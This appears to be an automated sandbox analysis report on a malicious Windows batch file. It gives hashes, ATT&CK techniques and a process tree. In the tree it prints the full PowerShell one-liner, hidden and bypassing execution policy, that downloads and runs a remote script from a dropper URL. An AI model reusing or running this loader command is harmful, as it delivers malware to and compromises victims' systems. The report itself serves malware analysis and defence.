46fdcf548cfdf057beab02510431b1a301f35a517b0c6d333ef3bd70a9bd17bc

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/07/2026, 01:05

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General

Target
Mercado_Credito_17_07_26.bat
Size 1KB
Sample260718-bfp4csbt3k
SHA256 46fdcf548cfdf057beab02510431b1a301f35a517b0c6d333ef3bd70a9bd17bc
MD5 bd94db79d9a3f4b6f063185403a18c87
SHA1 0c436b4728f5e79143692fe31310c03c92aa8dd5
SHA512 69945d61fb310359a00b07d767e2d99c89effbba249d450918fed48658a27d7bc9cb92b521ca78bdee69f6db32d22f974f9d07784f76d7247beb48d91116e423
TLSH
T15E11BA8A3164E258CDB10BA54C33E570F84925C7C2411C81B3AFCA368B89BCAFADD281
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://servicochavesmrx1.com/s/3ff14d9044b0a8fd0edb65511278199b

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1268	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1268	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2148	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3456	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1268	powershell.exe
1268	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1268	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 1268	2148	cmd.exe	86
PID 2148 wrote to memory of 3456	2148	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Mercado_Credito_17_07_26.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -W Hidden -EP Bypass -NoP -C "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;& ([scriptblock]::Create((New-Object Net.WebClient).DownloadString('https://servicochavesmrx1.com/s/3ff14d9044b0a8fd0edb65511278199b')))"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1268
- C:\Windows\system32\timeout.exe
  timeout /t 30 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_bpaxd5or.e12.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpaxd5or.e12.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1268-2-0x000001BA5EB50000-0x000001BA5EB60000-memory.dmp

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memory/1268-8-0x000001BA78EA0000-0x000001BA78EC2000-memory.dmp

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memory/1268-11-0x000001BA5EB50000-0x000001BA5EB60000-memory.dmp

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memory/1268-12-0x000001BA5EB50000-0x000001BA5EB60000-memory.dmp

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